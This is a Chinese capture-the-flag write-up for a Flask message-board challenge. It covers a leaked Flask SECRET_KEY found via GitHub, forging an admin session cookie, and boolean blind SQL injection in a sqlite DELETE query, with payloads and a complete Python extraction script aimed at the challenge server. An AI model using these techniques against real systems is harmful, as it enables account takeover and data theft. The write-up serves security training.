因代码写的很烂 ,本不想放出源码的,无奈做题的大佬想看源码,只能凑合着放出了。大佬们请勿喷代码烂。
题目源码:https://github.com/fox-style/CTF-Web/tree/master/Drops留言板/
考点:
- 信息泄露
- flask-session伪造
- delete盲注
环境:
- python3环境
- flask 1.0.2框架
- sqlite3数据库
其他说明:
- 为了避免大佬们按着前台功能怼,未开前台留言功能。
- sqlite数据库30分钟还原一次到初始库。
- 未经本人许可,题目和writeup请勿做它用。
信息泄露
很醒目的一张挑衅的图片:
image通过图片地址https://raw.githubusercontent.com/alipql/tuku/master/8856eac7gy1fkmf2o66yyj205k05kq2z.jpg可以发现alipql这个人的github仓库:
https://github.com/alipql
在homework这个库里面的homework2中可以找到一个非空的config.py配置文件:
#!/usr/bin/env python3
# coding=utf-8
import os
class Config():
BaseDir = os.path.abspath(os.path.dirname(__file__))
DB_FILE = os.path.join(BaseDir, 'dbfile.sql')
SQLALCHEMY_DATABASE_URI = 'sqlite:///' + DB_FILE
SQLALCHEMY_TRACK_MODIFICATIONS = True
SQLALCHEMY_COMMIT_ON_TEARDOWN = True
SECRET_KEY = 'dropseckey123'
config = {
'default': Config
}
从config.py配置文件中可得到secert_key、sql数据库类型。
flask-session伪造
利用已知的SECRET_KEY可以进行flask的session伪造。
伪造session exp:https://github.com/noraj/flask-session-cookie-manager
题目中预制的有两个用户,test/test,user/user,可通过登录用户时返回的session验证SECRET_KEY是否正确:
image
SECRET_KEY可成功解密session为明文信息,接下来伪造admin用户的session:
image
替换掉session,即可成功登录到admin账户获取管理权限。
image
可以看到admin的加密密码是不存在的,所以爆破也是不可能的。从这可以得到一个tip,存在一个flag表和flag字段。
delete布尔盲注
管理功能中为避免大量无用payload影响视觉和删账号的问题,就将数据库预设为30分钟还原一次到初始。貌似也留了个小坑,不过盲注测试的时间不在这还原数据库的一霎那,是没有影响的。
对添加用户功能和删除用户功能稍微一测试,会发现删除用户功能是存在注入的,是delete的注入。从config.py的信息泄露中可以知道数据库为sqlite,导致很多函数不能用;由于又是个delete方式,导致很多姿势用不上。
在这里轻微fuzz一下可发现只过滤了drop、update、delete等部分删表删flag改flag的关键字,而and、substr、selete、from、空格等未过滤,参数为单引号包裹,所以可组合一个payload:' and substr((select flag from flag),1,1)=='f
先增加用户,在删除用户时提交payload再进行布尔判断即可盲注flag。
例如增加111用户后再删除用户111:
image
返回包中不存在111用户,说明flag第一个字母为f。接下来写个小脚本跑一下就可以了。
小脚本:
#!/usr/bin/env python3
# coding=utf-8
import requests
class sqliexp:
def __init__(self):
self.url = 'http://172.93.39.218:8888/admin'
self.session = 'eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sIm5hbWUiOiJhZG1pbiJ9.XB-iXg.PURonzshjlDsEvsXYZ24YyuAgI4'
self.flag = ''
# 增加111用户
def adduser(self):
cookies = {'session': self.session}
data = {'username': '111', 'password': '111'}
try:
requests.post(url=self.url, cookies=cookies, data=data)
except TimeoutError:
exit(-1)
# 删除111用户,根据返回text中是否存在111用户来判断true/false
def deluser(self, num):
cookies = {'session': self.session}
for strs in 'flag{}0123456789bcde':
payload = "111' and substr((select flag from flag),%d,1)=='%s" % (num, strs)
data = {'usernamedel': payload}
try:
response = requests.post(url=self.url, data=data, cookies=cookies)
if '111' not in response.text:
self.flag += strs
return 1
except TimeoutError:
exit(-1)
if __name__ == '__main__':
exp = sqliexp()
for num in range(1, 39, 1):
exp.adduser()
exp.deluser(num)
print(exp.flag)
网友评论